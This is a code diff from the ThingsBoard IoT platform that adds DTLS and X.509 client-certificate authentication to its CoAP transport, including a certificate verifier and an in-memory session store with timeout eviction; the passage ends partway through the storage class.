66 71 private final ConcurrentMap<String, TransportProtos.SessionInfoProto> tokenToSessionIdMap = new ConcurrentHashMap<>();
67 72 private final ConcurrentMap<String, AtomicInteger> tokenToNotificationCounterMap = new ConcurrentHashMap<>();
68 73 private final Set<UUID> rpcSubscriptions = ConcurrentHashMap.newKeySet();
69 74 private final Set<UUID> attributeSubscriptions = ConcurrentHashMap.newKeySet();
70 75
71   - public CoapTransportResource(CoapTransportContext coapTransportContext, String name) {
  76 + private ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap;
  77 +
  78 + public CoapTransportResource(CoapTransportContext coapTransportContext, ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap, String name) {
72 79 super(coapTransportContext, name);
73 80 this.setObservable(true); // enable observing
74 81 this.addObserver(new CoapResourceObserver());
  82 + this.dtlsSessionIdMap = dtlsSessionIdMap;
75 83 // this.setObservable(false); // disable observing
76 84 // this.setObserveType(CoAP.Type.CON); // configure the notification type to CONs
77 85 // this.getAttributes().setObservable(); // mark observable in the Link-Format
... ... @@ -187,107 +195,132 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
187 195 Exchange advanced = exchange.advanced();
188 196 Request request = advanced.getRequest();
189 197
  198 + String dtlsSessionIdStr = request.getSourceContext().get(DTLS_SESSION_ID_KEY);
  199 + if (!StringUtils.isEmpty(dtlsSessionIdStr)) {
  200 + if (dtlsSessionIdMap != null) {
  201 + TbCoapDtlsSessionInfo tbCoapDtlsSessionInfo = dtlsSessionIdMap
  202 + .computeIfPresent(dtlsSessionIdStr, (dtlsSessionId, dtlsSessionInfo) -> {
  203 + dtlsSessionInfo.setLastActivityTime(System.currentTimeMillis());
  204 + return dtlsSessionInfo;
  205 + });
  206 + if (tbCoapDtlsSessionInfo != null) {
  207 + processRequest(exchange, type, request, tbCoapDtlsSessionInfo.getSessionInfoProto(), tbCoapDtlsSessionInfo.getDeviceProfile());
  208 + } else {
  209 + exchange.respond(CoAP.ResponseCode.UNAUTHORIZED);
  210 + }
  211 + } else {
  212 + processAccessTokenRequest(exchange, type, request);
  213 + }
  214 + } else {
  215 + processAccessTokenRequest(exchange, type, request);
  216 + }
  217 + }
  218 +
  219 + private void processAccessTokenRequest(CoapExchange exchange, SessionMsgType type, Request request) {
190 220 Optional<DeviceTokenCredentials> credentials = decodeCredentials(request);
191 221 if (credentials.isEmpty()) {
192   - exchange.respond(CoAP.ResponseCode.BAD_REQUEST);
  222 + exchange.respond(CoAP.ResponseCode.UNAUTHORIZED);
193 223 return;
194 224 }
195   -
196 225 transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceTokenRequestMsg.newBuilder().setToken(credentials.get().getCredentialsId()).build(),
197 226 new CoapDeviceAuthCallback(transportContext, exchange, (sessionInfo, deviceProfile) -> {
198   - UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB());
199   - try {
200   - TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile);
201   - CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload());
202   - switch (type) {
203   - case POST_ATTRIBUTES_REQUEST:
204   - transportService.process(sessionInfo,
205   - coapTransportAdaptor.convertToPostAttributes(sessionId, request,
206   - transportConfigurationContainer.getAttributesMsgDescriptor()),
207   - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
208   - reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
209   - break;
210   - case POST_TELEMETRY_REQUEST:
211   - transportService.process(sessionInfo,
212   - coapTransportAdaptor.convertToPostTelemetry(sessionId, request,
213   - transportConfigurationContainer.getTelemetryMsgDescriptor()),
214   - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
215   - reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
216   - break;
217   - case CLAIM_REQUEST:
218   - transportService.process(sessionInfo,
219   - coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo),
220   - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
221   - break;
222   - case SUBSCRIBE_ATTRIBUTES_REQUEST:
223   - TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
224   - if (currentAttrSession == null) {
225   - attributeSubscriptions.add(sessionId);
226   - registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
227   - transportService.process(sessionInfo,
228   - TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange));
229   - }
230   - break;
231   - case UNSUBSCRIBE_ATTRIBUTES_REQUEST:
232   - TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
233   - if (attrSession != null) {
234   - UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB());
235   - attributeSubscriptions.remove(attrSessionId);
236   - transportService.process(attrSession,
237   - TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(),
238   - new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
239   - closeAndDeregister(sessionInfo, sessionId);
240   - }
241   - break;
242   - case SUBSCRIBE_RPC_COMMANDS_REQUEST:
243   - TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
244   - if (currentRpcSession == null) {
245   - rpcSubscriptions.add(sessionId);
246   - registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
247   - transportService.process(sessionInfo,
248   - TransportProtos.SubscribeToRPCMsg.getDefaultInstance(),
249   - new CoapNoOpCallback(exchange));
250   - } else {
251   - UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB());
252   - reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId));
253   - }
254   - break;
255   - case UNSUBSCRIBE_RPC_COMMANDS_REQUEST:
256   - TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
257   - if (rpcSession != null) {
258   - UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB());
259   - rpcSubscriptions.remove(rpcSessionId);
260   - transportService.process(rpcSession,
261   - TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(),
262   - new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
263   - closeAndDeregister(sessionInfo, sessionId);
264   - }
265   - break;
266   - case TO_DEVICE_RPC_RESPONSE:
267   - transportService.process(sessionInfo,
268   - coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request),
269   - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
270   - break;
271   - case TO_SERVER_RPC_REQUEST:
272   - transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
273   - transportService.process(sessionInfo,
274   - coapTransportAdaptor.convertToServerRpcRequest(sessionId, request),
275   - new CoapNoOpCallback(exchange));
276   - break;
277   - case GET_ATTRIBUTES_REQUEST:
278   - transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
279   - transportService.process(sessionInfo,
280   - coapTransportAdaptor.convertToGetAttributes(sessionId, request),
281   - new CoapNoOpCallback(exchange));
282   - break;
283   - }
284   - } catch (AdaptorException e) {
285   - log.trace("[{}] Failed to decode message: ", sessionId, e);
286   - exchange.respond(CoAP.ResponseCode.BAD_REQUEST);
287   - }
  227 + processRequest(exchange, type, request, sessionInfo, deviceProfile);
288 228 }));
289 229 }
290 230
  231 + private void processRequest(CoapExchange exchange, SessionMsgType type, Request request, TransportProtos.SessionInfoProto sessionInfo, DeviceProfile deviceProfile) {
  232 + UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB());
  233 + try {
  234 + TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile);
  235 + CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload());
  236 + switch (type) {
  237 + case POST_ATTRIBUTES_REQUEST:
  238 + transportService.process(sessionInfo,
  239 + coapTransportAdaptor.convertToPostAttributes(sessionId, request,
  240 + transportConfigurationContainer.getAttributesMsgDescriptor()),
  241 + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  242 + reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
  243 + break;
  244 + case POST_TELEMETRY_REQUEST:
  245 + transportService.process(sessionInfo,
  246 + coapTransportAdaptor.convertToPostTelemetry(sessionId, request,
  247 + transportConfigurationContainer.getTelemetryMsgDescriptor()),
  248 + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  249 + reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
  250 + break;
  251 + case CLAIM_REQUEST:
  252 + transportService.process(sessionInfo,
  253 + coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo),
  254 + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  255 + break;
  256 + case SUBSCRIBE_ATTRIBUTES_REQUEST:
  257 + TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
  258 + if (currentAttrSession == null) {
  259 + attributeSubscriptions.add(sessionId);
  260 + registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
  261 + transportService.process(sessionInfo,
  262 + TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange));
  263 + }
  264 + break;
  265 + case UNSUBSCRIBE_ATTRIBUTES_REQUEST:
  266 + TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
  267 + if (attrSession != null) {
  268 + UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB());
  269 + attributeSubscriptions.remove(attrSessionId);
  270 + transportService.process(attrSession,
  271 + TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(),
  272 + new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  273 + closeAndDeregister(sessionInfo, sessionId);
  274 + }
  275 + break;
  276 + case SUBSCRIBE_RPC_COMMANDS_REQUEST:
  277 + TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
  278 + if (currentRpcSession == null) {
  279 + rpcSubscriptions.add(sessionId);
  280 + registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
  281 + transportService.process(sessionInfo,
  282 + TransportProtos.SubscribeToRPCMsg.getDefaultInstance(),
  283 + new CoapNoOpCallback(exchange));
  284 + } else {
  285 + UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB());
  286 + reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId));
  287 + }
  288 + break;
  289 + case UNSUBSCRIBE_RPC_COMMANDS_REQUEST:
  290 + TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
  291 + if (rpcSession != null) {
  292 + UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB());
  293 + rpcSubscriptions.remove(rpcSessionId);
  294 + transportService.process(rpcSession,
  295 + TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(),
  296 + new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  297 + closeAndDeregister(sessionInfo, sessionId);
  298 + }
  299 + break;
  300 + case TO_DEVICE_RPC_RESPONSE:
  301 + transportService.process(sessionInfo,
  302 + coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request),
  303 + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
  304 + break;
  305 + case TO_SERVER_RPC_REQUEST:
  306 + transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
  307 + transportService.process(sessionInfo,
  308 + coapTransportAdaptor.convertToServerRpcRequest(sessionId, request),
  309 + new CoapNoOpCallback(exchange));
  310 + break;
  311 + case GET_ATTRIBUTES_REQUEST:
  312 + transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
  313 + transportService.process(sessionInfo,
  314 + coapTransportAdaptor.convertToGetAttributes(sessionId, request),
  315 + new CoapNoOpCallback(exchange));
  316 + break;
  317 + }
  318 + } catch (AdaptorException e) {
  319 + log.trace("[{}] Failed to decode message: ", sessionId, e);
  320 + exchange.respond(CoAP.ResponseCode.BAD_REQUEST);
  321 + }
  322 + }
  323 +
291 324 private TransportProtos.SessionInfoProto lookupAsyncSessionInfo(String token) {
292 325 tokenToNotificationCounterMap.remove(token);
293 326 return tokenToSessionIdMap.remove(token);
... ... @@ -310,7 +343,7 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
310 343
311 344 private Optional<DeviceTokenCredentials> decodeCredentials(Request request) {
312 345 List<String> uriPath = request.getOptions().getUriPath();
313   - if (uriPath.size() >= ACCESS_TOKEN_POSITION) {
  346 + if (uriPath.size() > ACCESS_TOKEN_POSITION) {
314 347 return Optional.of(new DeviceTokenCredentials(uriPath.get(ACCESS_TOKEN_POSITION - 1)));
315 348 } else {
316 349 return Optional.empty();
... ... @@ -322,8 +355,11 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
322 355 try {
323 356 if (uriPath.size() >= FEATURE_TYPE_POSITION) {
324 357 return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION - 1).toUpperCase()));
325   - } else if (uriPath.size() == 3 && uriPath.contains(DataConstants.PROVISION)) {
326   - return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase()));
  358 + } else if (uriPath.size() >= FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST) {
  359 + if (uriPath.contains(DataConstants.PROVISION)) {
  360 + return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase()));
  361 + }
  362 + return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST - 1).toUpperCase()));
327 363 }
328 364 } catch (RuntimeException e) {
329 365 log.warn("Failed to decode feature type: {}", uriPath);
... ... @@ -336,6 +372,8 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
336 372 try {
337 373 if (uriPath.size() >= REQUEST_ID_POSITION) {
338 374 return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION - 1)));
  375 + } else {
  376 + return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION_CERTIFICATE_REQUEST - 1)));
339 377 }
340 378 } catch (RuntimeException e) {
341 379 log.warn("Failed to decode feature type: {}", uriPath);
... ...
... ... @@ -19,7 +19,10 @@ import lombok.extern.slf4j.Slf4j;
19 19 import org.eclipse.californium.core.CoapResource;
20 20 import org.eclipse.californium.core.CoapServer;
21 21 import org.eclipse.californium.core.network.CoapEndpoint;
  22 +import org.eclipse.californium.core.network.config.NetworkConfig;
22 23 import org.eclipse.californium.core.server.resources.Resource;
  24 +import org.eclipse.californium.scandium.DTLSConnector;
  25 +import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
23 26 import org.springframework.beans.factory.annotation.Autowired;
24 27 import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression;
25 28 import org.springframework.stereotype.Service;
... ... @@ -30,6 +33,11 @@ import javax.annotation.PreDestroy;
30 33 import java.net.InetAddress;
31 34 import java.net.InetSocketAddress;
32 35 import java.net.UnknownHostException;
  36 +import java.util.Random;
  37 +import java.util.concurrent.ConcurrentMap;
  38 +import java.util.concurrent.Executors;
  39 +import java.util.concurrent.ScheduledExecutorService;
  40 +import java.util.concurrent.TimeUnit;
33 41
34 42 @Service("CoapTransportService")
35 43 @ConditionalOnExpression("'${service.type:null}'=='tb-transport' || ('${service.type:null}'=='monolith' && '${transport.api_enabled:true}'=='true' && '${transport.coap.enabled}'=='true')")
... ... @@ -44,34 +52,53 @@ public class CoapTransportService {
44 52 @Autowired
45 53 private CoapTransportContext coapTransportContext;
46 54
  55 + private TbCoapDtlsCertificateVerifier tbDtlsCertificateVerifier;
  56 +
47 57 private CoapServer server;
48 58
  59 + private ScheduledExecutorService dtlsSessionsExecutor;
  60 +
49 61 @PostConstruct
50 62 public void init() throws UnknownHostException {
51 63 log.info("Starting CoAP transport...");
52 64 log.info("Starting CoAP transport server");
53 65
54 66 this.server = new CoapServer();
  67 +
  68 + CoapEndpoint.Builder capEndpointBuilder = new CoapEndpoint.Builder();
  69 +
  70 + if (isDtlsEnabled()) {
  71 + TbCoapDtlsSettings dtlsSettings = coapTransportContext.getDtlsSettings();
  72 + DtlsConnectorConfig dtlsConnectorConfig = dtlsSettings.dtlsConnectorConfig();
  73 + DTLSConnector connector = new DTLSConnector(dtlsConnectorConfig);
  74 + capEndpointBuilder.setConnector(connector);
  75 + if (dtlsConnectorConfig.isClientAuthenticationRequired()) {
  76 + tbDtlsCertificateVerifier = (TbCoapDtlsCertificateVerifier) dtlsConnectorConfig.getAdvancedCertificateVerifier();
  77 + dtlsSessionsExecutor = Executors.newSingleThreadScheduledExecutor();
  78 + dtlsSessionsExecutor.scheduleAtFixedRate(this::evictTimeoutSessions, new Random().nextInt((int) getDtlsSessionReportTimeout()), getDtlsSessionReportTimeout(), TimeUnit.MILLISECONDS);
  79 + }
  80 + } else {
  81 + InetAddress addr = InetAddress.getByName(coapTransportContext.getHost());
  82 + InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort());
  83 + capEndpointBuilder.setInetSocketAddress(sockAddr);
  84 + capEndpointBuilder.setNetworkConfig(NetworkConfig.getStandard());
  85 + }
  86 + CoapEndpoint coapEndpoint = capEndpointBuilder.build();
  87 +
  88 + server.addEndpoint(coapEndpoint);
  89 +
55 90 createResources();
56 91 Resource root = this.server.getRoot();
57 92 TbCoapServerMessageDeliverer messageDeliverer = new TbCoapServerMessageDeliverer(root);
58 93 this.server.setMessageDeliverer(messageDeliverer);
59 94
60   - InetAddress addr = InetAddress.getByName(coapTransportContext.getHost());
61   - InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort());
62   -
63   - CoapEndpoint.Builder coapEndpoitBuilder = new CoapEndpoint.Builder();
64   - coapEndpoitBuilder.setInetSocketAddress(sockAddr);
65   - CoapEndpoint coapEndpoint = coapEndpoitBuilder.build();
66   -
67   - server.addEndpoint(coapEndpoint);
68 95 server.start();
69 96 log.info("CoAP transport started!");
70 97 }
71 98
72 99 private void createResources() {
73 100 CoapResource api = new CoapResource(API);
74   - api.add(new CoapTransportResource(coapTransportContext, V1));
  101 + api.add(new CoapTransportResource(coapTransportContext, getDtlsSessionsMap(), V1));
75 102
76 103 CoapResource efento = new CoapResource(EFENTO);
77 104 CoapEfentoTransportResource efentoMeasurementsTransportResource = new CoapEfentoTransportResource(coapTransportContext, MEASUREMENTS);
... ... @@ -81,8 +108,27 @@ public class CoapTransportService {
81 108 server.add(efento);
82 109 }
83 110
  111 + private boolean isDtlsEnabled() {
  112 + return coapTransportContext.getDtlsSettings() != null;
  113 + }
  114 +
  115 + private ConcurrentMap<String, TbCoapDtlsSessionInfo> getDtlsSessionsMap() {
  116 + return tbDtlsCertificateVerifier != null ? tbDtlsCertificateVerifier.getTbCoapDtlsSessionIdsMap() : null;
  117 + }
  118 +
  119 + private void evictTimeoutSessions() {
  120 + tbDtlsCertificateVerifier.evictTimeoutSessions();
  121 + }
  122 +
  123 + private long getDtlsSessionReportTimeout() {
  124 + return tbDtlsCertificateVerifier.getDtlsSessionReportTimeout();
  125 + }
  126 +
84 127 @PreDestroy
85 128 public void shutdown() {
  129 + if (dtlsSessionsExecutor != null) {
  130 + dtlsSessionsExecutor.shutdownNow();
  131 + }
86 132 log.info("Stopping CoAP transport!");
87 133 this.server.destroy();
88 134 log.info("CoAP transport stopped!");
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap;
  17 +
  18 +import lombok.Data;
  19 +import lombok.extern.slf4j.Slf4j;
  20 +import org.eclipse.californium.elements.util.CertPathUtil;
  21 +import org.eclipse.californium.scandium.dtls.AlertMessage;
  22 +import org.eclipse.californium.scandium.dtls.CertificateMessage;
  23 +import org.eclipse.californium.scandium.dtls.CertificateType;
  24 +import org.eclipse.californium.scandium.dtls.CertificateVerificationResult;
  25 +import org.eclipse.californium.scandium.dtls.ConnectionId;
  26 +import org.eclipse.californium.scandium.dtls.DTLSSession;
  27 +import org.eclipse.californium.scandium.dtls.HandshakeException;
  28 +import org.eclipse.californium.scandium.dtls.HandshakeResultHandler;
  29 +import org.eclipse.californium.scandium.dtls.x509.NewAdvancedCertificateVerifier;
  30 +import org.eclipse.californium.scandium.util.ServerNames;
  31 +import org.springframework.util.StringUtils;
  32 +import org.thingsboard.server.common.data.DeviceProfile;
  33 +import org.thingsboard.server.common.data.DeviceTransportType;
  34 +import org.thingsboard.server.common.msg.EncryptionUtil;
  35 +import org.thingsboard.server.common.transport.TransportService;
  36 +import org.thingsboard.server.common.transport.TransportServiceCallback;
  37 +import org.thingsboard.server.common.transport.auth.SessionInfoCreator;
  38 +import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse;
  39 +import org.thingsboard.server.common.transport.util.SslUtil;
  40 +import org.thingsboard.server.gen.transport.TransportProtos;
  41 +import org.thingsboard.server.queue.discovery.TbServiceInfoProvider;
  42 +
  43 +import javax.security.auth.x500.X500Principal;
  44 +import java.security.cert.CertPath;
  45 +import java.security.cert.CertificateEncodingException;
  46 +import java.security.cert.CertificateExpiredException;
  47 +import java.security.cert.CertificateNotYetValidException;
  48 +import java.security.cert.X509Certificate;
  49 +import java.util.Collections;
  50 +import java.util.List;
  51 +import java.util.UUID;
  52 +import java.util.concurrent.ConcurrentMap;
  53 +import java.util.concurrent.CountDownLatch;
  54 +import java.util.concurrent.TimeUnit;
  55 +
  56 +@Slf4j
  57 +@Data
  58 +public class TbCoapDtlsCertificateVerifier implements NewAdvancedCertificateVerifier {
  59 +
  60 + private final TbCoapDtlsSessionInMemoryStorage tbCoapDtlsSessionInMemoryStorage;
  61 +
  62 + private TransportService transportService;
  63 + private TbServiceInfoProvider serviceInfoProvider;
  64 + private boolean skipValidityCheckForClientCert;
  65 +
  66 + public TbCoapDtlsCertificateVerifier(TransportService transportService, TbServiceInfoProvider serviceInfoProvider, long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout, boolean skipValidityCheckForClientCert) {
  67 + this.transportService = transportService;
  68 + this.serviceInfoProvider = serviceInfoProvider;
  69 + this.skipValidityCheckForClientCert = skipValidityCheckForClientCert;
  70 + this.tbCoapDtlsSessionInMemoryStorage = new TbCoapDtlsSessionInMemoryStorage(dtlsSessionInactivityTimeout, dtlsSessionReportTimeout);
  71 + }
  72 +
  73 + @Override
  74 + public List<CertificateType> getSupportedCertificateType() {
  75 + return Collections.singletonList(CertificateType.X_509);
  76 + }
  77 +
  78 + @Override
  79 + public CertificateVerificationResult verifyCertificate(ConnectionId cid, ServerNames serverName, Boolean clientUsage, boolean truncateCertificatePath, CertificateMessage message, DTLSSession session) {
  80 + try {
  81 + String credentialsBody = null;
  82 + CertPath certpath = message.getCertificateChain();
  83 + X509Certificate[] chain = certpath.getCertificates().toArray(new X509Certificate[0]);
  84 + for (X509Certificate cert : chain) {
  85 + try {
  86 + if (!skipValidityCheckForClientCert) {
  87 + cert.checkValidity();
  88 + }
  89 + String strCert = SslUtil.getCertificateString(cert);
  90 + String sha3Hash = EncryptionUtil.getSha3Hash(strCert);
  91 + final ValidateDeviceCredentialsResponse[] deviceCredentialsResponse = new ValidateDeviceCredentialsResponse[1];
  92 + CountDownLatch latch = new CountDownLatch(1);
  93 + transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceX509CertRequestMsg.newBuilder().setHash(sha3Hash).build(),
  94 + new TransportServiceCallback<>() {
  95 + @Override
  96 + public void onSuccess(ValidateDeviceCredentialsResponse msg) {
  97 + if (!StringUtils.isEmpty(msg.getCredentials())) {
  98 + deviceCredentialsResponse[0] = msg;
  99 + }
  100 + latch.countDown();
  101 + }
  102 +
  103 + @Override
  104 + public void onError(Throwable e) {
  105 + log.error(e.getMessage(), e);
  106 + latch.countDown();
  107 + }
  108 + });
  109 + latch.await(10, TimeUnit.SECONDS);
  110 + ValidateDeviceCredentialsResponse msg = deviceCredentialsResponse[0];
  111 + if (msg != null && strCert.equals(msg.getCredentials())) {
  112 + credentialsBody = msg.getCredentials();
  113 + DeviceProfile deviceProfile = msg.getDeviceProfile();
  114 + if (msg.hasDeviceInfo() && deviceProfile != null) {
  115 + TransportProtos.SessionInfoProto sessionInfoProto = SessionInfoCreator.create(msg, serviceInfoProvider.getServiceId(), UUID.randomUUID());
  116 + tbCoapDtlsSessionInMemoryStorage.put(session.getSessionIdentifier().toString(), new TbCoapDtlsSessionInfo(sessionInfoProto, deviceProfile));
  117 + }
  118 + break;
  119 + }
  120 + } catch (InterruptedException |
  121 + CertificateEncodingException |
  122 + CertificateExpiredException |
  123 + CertificateNotYetValidException e) {
  124 + log.error(e.getMessage(), e);
  125 + }
  126 + }
  127 + if (credentialsBody == null) {
  128 + AlertMessage alert = new AlertMessage(AlertMessage.AlertLevel.FATAL, AlertMessage.AlertDescription.BAD_CERTIFICATE,
  129 + session.getPeer());
  130 + throw new HandshakeException("Certificate chain could not be validated", alert);
  131 + } else {
  132 + return new CertificateVerificationResult(cid, certpath, null);
  133 + }
  134 + } catch (HandshakeException e) {
  135 + log.trace("Certificate validation failed!", e);
  136 + return new CertificateVerificationResult(cid, e, null);
  137 + }
  138 + }
  139 +
  140 + @Override
  141 + public List<X500Principal> getAcceptedIssuers() {
  142 + return CertPathUtil.toSubjects(null);
  143 + }
  144 +
  145 + @Override
  146 + public void setResultHandler(HandshakeResultHandler resultHandler) {
  147 + // empty implementation
  148 + }
  149 +
  150 + public ConcurrentMap<String, TbCoapDtlsSessionInfo> getTbCoapDtlsSessionIdsMap() {
  151 + return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionIdMap();
  152 + }
  153 +
  154 + public void evictTimeoutSessions() {
  155 + tbCoapDtlsSessionInMemoryStorage.evictTimeoutSessions();
  156 + }
  157 +
  158 + public long getDtlsSessionReportTimeout() {
  159 + return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionReportTimeout();
  160 + }
  161 +}
\ No newline at end of file
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap;
  17 +
  18 +import lombok.Data;
  19 +import lombok.extern.slf4j.Slf4j;
  20 +
  21 +import java.util.concurrent.ConcurrentHashMap;
  22 +import java.util.concurrent.ConcurrentMap;
  23 +
  24 +@Slf4j
  25 +@Data
  26 +public class TbCoapDtlsSessionInMemoryStorage {
  27 +
  28 + private final ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap = new ConcurrentHashMap<>();
  29 + private long dtlsSessionInactivityTimeout;
  30 + private long dtlsSessionReportTimeout;
  31 +
  32 +
  33 + public TbCoapDtlsSessionInMemoryStorage(long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout) {
  34 + this.dtlsSessionInactivityTimeout = dtlsSessionInactivityTimeout;
  35 + this.dtlsSessionReportTimeout = dtlsSessionReportTimeout;
  36 + }
  37 +
  38 + public void put(String dtlsSessionId, TbCoapDtlsSessionInfo dtlsSessionInfo) {
  39 + log.trace("DTLS session added to in-memory store: [{}] timestamp: [{}]", dtlsSessionId, dtlsSessionInfo.getLastActivityTime());
